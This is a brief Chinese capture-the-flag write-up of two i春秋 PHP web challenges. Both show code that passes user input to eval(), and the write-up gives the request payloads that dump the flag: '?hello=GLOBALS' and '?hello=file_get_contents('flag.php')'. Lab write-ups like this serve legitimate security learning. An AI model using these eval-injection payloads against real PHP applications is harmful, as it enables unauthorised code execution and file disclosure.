网安0515

i春秋 训练营https://www.ichunqiu.com/battalion

Misc Web **1

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

首先,我们要知道

<?php$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>

上面代码会输出hello world!
PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
于是我们在url上构造/?hello=GLOBALS,
这样:

ecc587eabff74a6c873903c34feb92c4e49c12c9523e4dc0.changame.ichunqiu.com/?hello=GLOBALS

网安0515

结果就直接出来了!根本不是**好吧!

Misc Web **2
题是这样的

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

我们可以看到第一种方法不好用了,所以另辟他径!我们注意到flag.php,会不会答案就在这个里面呢?而且”var_dump($a);”这个字符串是不是可以注入呢?明显是可以的!

本题有好几种解法
如下:
我们只讲最简单的
构造

?hello=file_get_contents('flag.php')

(别忘了加“/”)
file_get_contents() 函数读出
得到
网安0515然后ctrl+u查看源码
网安0515
Misc Web **3
cc参考文章:
https://blog.csdn.net/XY_44/article/details/80039827
https://blog.csdn.net/qq_35078631/article/details/62438259